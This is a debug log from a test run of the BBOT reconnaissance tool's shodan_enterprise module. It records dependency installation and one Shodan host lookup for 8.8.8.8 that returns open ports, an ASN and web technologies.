22:19:49,341 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 22:19:49,342 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 22:19:49,344 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 22:19:49,345 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 22:19:49,345 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 22:19:49,347 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 22:19:49,349 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 22:19:49,562 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4556240736 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:19:49,563 [DEBUG] filelock _api.py:334 Lock 4556240736 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:19:49,564 [DEBUG] filelock _api.py:364 Attempting to release lock 4556240736 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:19:49,565 [DEBUG] filelock _api.py:367 Lock 4556240736 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:19:50,872 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:19:50,873 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:19:50,873 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 22:19:51,053 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 22:19:51,722 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 22:19:51,722 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 22:19:51,722 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 22:19:51,723 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 22:19:51,966 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 22:19:51,967 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 22:19:52,078 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 22:19:52,079 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 22:19:52,137 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 22:19:52,141 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 22:19:52,142 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 22:19:52,696 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 22:19:52,697 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 22:19:55,137 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 22:19:55,138 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 22:19:55,138 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 22:19:57,361 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 22:19:57,361 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 22:19:57,366 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:19:57,367 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 22:19:57,367 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:19:57,367 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 22:19:57,368 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 22:19:57,368 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 22:19:57,373 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/0ts1ma2rtnwr8meh8r6i -2026-02-27 22:19:58,278 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 22:19:58,279 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 22:19:58,279 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:19:58,280 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 22:19:58,281 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:19:58,281 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 22:19:58,283 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 22:19:58,415 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 22:19:58,415 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 22:19:58,415 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 22:19:58,417 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 22:19:58,417 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 22:19:58,418 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 22:19:58,418 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 22:19:58,419 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 22:19:58,419 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 22:19:58,419 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 22:19:58,420 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 22:19:58,420 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 22:19:58,421 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 22:19:58,421 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 22:19:58,421 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 22:19:58,421 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 22:19:58,421 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 22:19:58,421 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 22:19:58,422 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 22:19:58,422 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 22:19:58,422 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 22:19:58,422 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 22:19:58,422 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 22:19:58,422 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 22:19:58,423 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 22:19:58,423 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 22:19:58,423 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 22:19:58,423 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 22:19:58,423 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 22:19:58,423 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 22:19:58,424 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 22:19:58,424 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 22:19:58,425 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 22:19:58,425 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 22:19:58,425 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 22:19:58,425 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 22:19:58,426 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 22:19:58,426 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 22:19:58,426 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 22:19:58,426 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 22:19:58,426 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 22:19:58,426 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 22:19:58,427 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 22:19:58,427 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 22:19:58,427 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 22:19:58,572 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_9azyj11vty -2026-02-27 22:19:58,572 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 22:19:58,684 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-02-27 22:19:58,685 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 22:19:58,685 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 22:19:58,687 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) -2026-02-27 22:19:58,787 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) passed post-check -2026-02-27 22:19:58,787 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) -2026-02-27 22:19:58,788 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) in-scope because its main host matches the scan target -2026-02-27 22:19:58,789 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 22:19:58,791 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:4398cd48d1f542d1f2d62e4bc287c4c2cd99cc64', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:19:58,791 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:4398cd48d1f542d1f2d62e4bc287c4c2cd99cc64', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:19:58,792 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-02-27 22:19:58,792 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 22:19:58,795 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:4398cd48d1f542d1f2d62e4bc287c4c2cd99cc64', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:19:58,796 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:4398cd48d1f542d1f2d62e4bc287c4c2cd99cc64', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 22:19:58,797 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:4398cd48d1f542d1f2d62e4bc287c4c2cd99cc64', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:19:58,799 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:4398cd48d1f542d1f2d62e4bc287c4c2cd99cc64', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:19:58,800 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:4398cd48d1f542d1f2d62e4bc287c4c2cd99cc64', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:19:58,802 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:4398cd48d1f542d1f2d62e4bc287c4c2cd99cc64', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:19:58,803 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:4398cd48d1f542d1f2d62e4bc287c4c2cd99cc64', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 22:19:58,806 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 22:19:58,807 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-02-27 22:19:58,807 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 22:19:58,808 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 22:19:58,808 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded -2026-02-27 22:19:58,809 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded -2026-02-27 22:19:58,809 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET -2026-02-27 22:19:58,810 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-02-27 22:19:58,810 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 22:19:58,814 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 -2026-02-27 22:19:58,899 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/8.8.8.8?key=deadbeef HTTP/1.1" 200 None -2026-02-27 22:19:58,903 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-02-27 22:19:58,904 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:4398cd48d1f542d1f2d62e4bc287c4c2cd99cc64', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 22:19:58,905 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:4398cd48d1f542d1f2d62e4bc287c4c2cd99cc64', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:19:58,905 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET -2026-02-27 22:19:58,906 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-02-27 22:19:58,906 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:19:58,907 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:19:58,908 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:19:58,908 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:19:58,909 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:19:58,909 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:19:58,910 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:19:58,910 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:19:58,911 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:19:58,912 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:19:58,912 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:19:58,913 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:19:58,913 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 22:19:58,913 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:19:58,914 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:19:58,915 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:19:58,915 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:19:58,915 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:19:58,916 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check -2026-02-27 22:19:58,916 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-02-27 22:19:58,917 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:19:58,918 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:19:58,918 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) in-scope because its main host matches the scan target -2026-02-27 22:19:58,919 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:19:58,919 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:19:58,920 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:19:58,920 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:19:58,921 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-02-27 22:19:58,922 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check -2026-02-27 22:19:58,922 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) -2026-02-27 22:19:58,922 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:19:58,923 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check -2026-02-27 22:19:58,923 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-02-27 22:19:58,924 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) in-scope because its main host matches the scan target -2026-02-27 22:19:58,925 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:19:58,925 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-02-27 22:19:58,926 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:19:58,926 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:19:58,927 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) -2026-02-27 22:19:58,927 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:19:58,928 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:19:58,928 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-02-27 22:19:58,929 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check -2026-02-27 22:19:58,929 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) -2026-02-27 22:19:58,930 